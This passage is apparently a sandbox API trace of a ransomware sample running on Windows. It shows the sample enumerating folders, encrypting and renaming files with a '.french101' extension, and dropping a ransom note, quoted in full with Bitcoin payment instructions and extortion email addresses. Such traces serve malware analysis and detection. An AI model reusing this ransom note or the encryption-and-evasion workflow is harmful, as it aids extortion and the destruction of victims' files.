cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷘm°") returned 6 [0279.109] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.109] GetLastError () returned 0x2 [0279.109] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0279.109] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.109] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.109] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.110] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.110] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.110] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.110] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.110] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.110] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.110] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.110] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0279.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0279.110] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.110] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0279.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0279.110] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.110] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0279.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0279.110] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.110] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0279.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d38, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0279.111] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.111] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.111] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.111] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.111] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.111] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.111] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.111] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.111] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.111] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0279.111] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0279.111] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0279.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0279.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0279.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0279.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0279.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0279.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0279.112] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.112] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0279.112] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0279.113] SHGetPathFromIDListW (in: pidl=0x6e4798, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0279.113] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0279.113] IMalloc:Free (This=0x75e4d000, pv=0x6e4798) [0279.113] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0279.113] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0279.113] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.113] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.113] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.113] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.113] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.113] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.113] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.113] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.113] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.114] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0279.114] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.114] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.114] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0279.114] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.114] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.114] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.114] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.114] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.114] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.114] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.114] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.114] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.114] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.114] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.115] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.115] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0279.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0279.115] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\я" (normalized: "c:\\588bce7c90097ed212\\1037\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.117] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0279.121] CloseHandle (hObject=0x35c) returned 1 [0279.121] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\я" (normalized: "c:\\588bce7c90097ed212\\1037\\я")) returned 1 [0279.122] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0279.122] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0279.122] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0279.122] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0279.122] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", dwFileAttributes=0x20) returned 1 [0279.123] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.123] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.123] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1ac3 [0279.123] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.123] SetFilePointer (in: hFile=0x35c, lDistanceToMove=6851, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x1ac3 [0279.123] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0279.125] CloseHandle (hObject=0x35c) returned 1 [0279.127] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1ac4 [0279.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=6851, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1ac3 [0279.128] SetEndOfFile (hFile=0x35c) returned 1 [0279.130] CloseHandle (hObject=0x35c) returned 1 [0279.130] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.130] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.131] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1ac3 [0279.131] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.131] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.131] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.131] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1ac3 [0279.131] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.132] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.132] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.133] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0279.133] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.133] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.133] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0279.133] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.133] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.133] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.135] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.135] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.135] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.136] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0279.136] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1ac3 [0279.136] SetFilePointer (in: hFile=0x35c, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0279.136] SetFilePointer (in: hFile=0x35c, lDistanceToMove=6851, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x1ac3 [0279.136] WriteFile (in: hFile=0x35c, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0279.170] WriteFile (in: hFile=0x35c, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0279.170] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.170] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.171] CloseHandle (hObject=0x35c) returned 1 [0279.171] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\URfWfKaOLBnIeqVKIkr9lk.french101" (normalized: "c:\\588bce7c90097ed212\\1037\\urfwfkaolbnieqvkikr9lk.french101")) returned 1 [0279.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\URfWfKaOLBnIeqVKIkr9lk.french101" (normalized: "c:\\588bce7c90097ed212\\1037\\urfwfkaolbnieqvkikr9lk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.172] SetFileTime (hFile=0x35c, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0279.172] CloseHandle (hObject=0x35c) returned 1 [0279.173] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\URfWfKaOLBnIeqVKIkr9lk.french101", dwFileAttributes=0x80) returned 1 [0279.173] CloseHandle (hObject=0x35c) returned 0 [0279.173] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.173] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.173] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.173] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.173] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.173] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.173] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.173] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.173] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.174] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0279.174] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0279.174] GetLastError () returned 0x2 [0279.174] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1037\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.174] WriteFile (in: hFile=0x35c, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 